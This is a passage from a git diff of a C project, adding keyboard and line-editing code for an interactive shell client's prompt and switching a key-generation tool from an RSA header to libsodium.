tv.tv_usec = (timeout % 1000) * 1000; + return select(1, &fds, NULL, NULL, &tv) > 0; +} + +char shellT_getch(void) { + int r; + char in; + + if ((r = read(STDIN_FILENO, &in, 1)) > 0) { + return in; + } else { + return r; + } +} + +int shellT_kbesc(void) { + int c; + + /* if no event waiting, it's KEY_ESCAPE */ + if (!shellT_waitForInput(0)) + return KEY_ESCAPE; + + if ((c = shellT_getch()) == '[') { + switch (shellT_getch()) { + case 'A': c = KEY_UP; break; + case 'B': c = KEY_DOWN; break; + case 'C': c = KEY_RIGHT; break; + case 'D': c = KEY_LEFT; break; + default: c = 0; break; + } + } else { + c = 0; + } + + /* unrecognized key? consume until there's no event */ + if (c == 0) { + while (shellT_waitForInput(0)) shellT_getch(); + } + + return c; +} + +int shellT_kbget(void) { + char c = shellT_getch(); + return (c == KEY_ESCAPE) ? shellT_kbesc() : c; +} + +void shellT_printPrompt(void) { + clearLine(); + shellT_printf("\r%s%.*s", prompt, cmdCount, (cmd ? cmd : "")); + if (cmdCount > cmdCursor) + cursorBackward(cmdCount-cmdCursor); + fflush(stdout); +} + +void shellT_setPrompt(char *_prompt) { + prompt = _prompt; +} + +void shellT_addChar(tShell_client *client, int c) { + int i; + + switch (c) { + case KEY_BACKSPACE: + if (cmdCursor > 0) { + laikaM_rmvarray(cmd, cmdCount, (cmdCursor-1), 1); + cmdCursor--; + shellT_printPrompt(); + } + break; + case KEY_LEFT: + if (cmdCursor > 0) { + cursorBackward(1); + --cmdCursor; + fflush(stdout); + } + break; + case KEY_RIGHT: + if (cmdCursor < cmdCount) { + cursorForward(1); + cmdCursor++; + fflush(stdout); + } + break; + case KEY_ENTER: + if (cmdCount > 0) { + cmd[cmdCount] = '\0'; + cmdCount = 0; + cmdCursor = 0; + shellS_runCmd(client, cmd); + shellT_printPrompt(); + } + break; + case KEY_UP: case KEY_DOWN: break; /* ignore these */ + default: + laikaM_growarray(char, cmd, 1, cmdCount, cmdCap); + laikaM_insertarray(cmd, cmdCount, cmdCursor, 1); + cmd[cmdCursor++] = c; + shellT_printPrompt(); + } +} \ No newline at end of file diff --git a/tools/genkey/src/main.c b/tools/genkey/src/main.c index 8cd2484..02ee602 100644 --- a/tools/genkey/src/main.c +++ b/tools/genkey/src/main.c @@ -2,7 +2,7 @@ #include #include "lerror.h" -#include "lrsa.h" +#include "lsodium.h" int main(int argv, char **argc) { unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];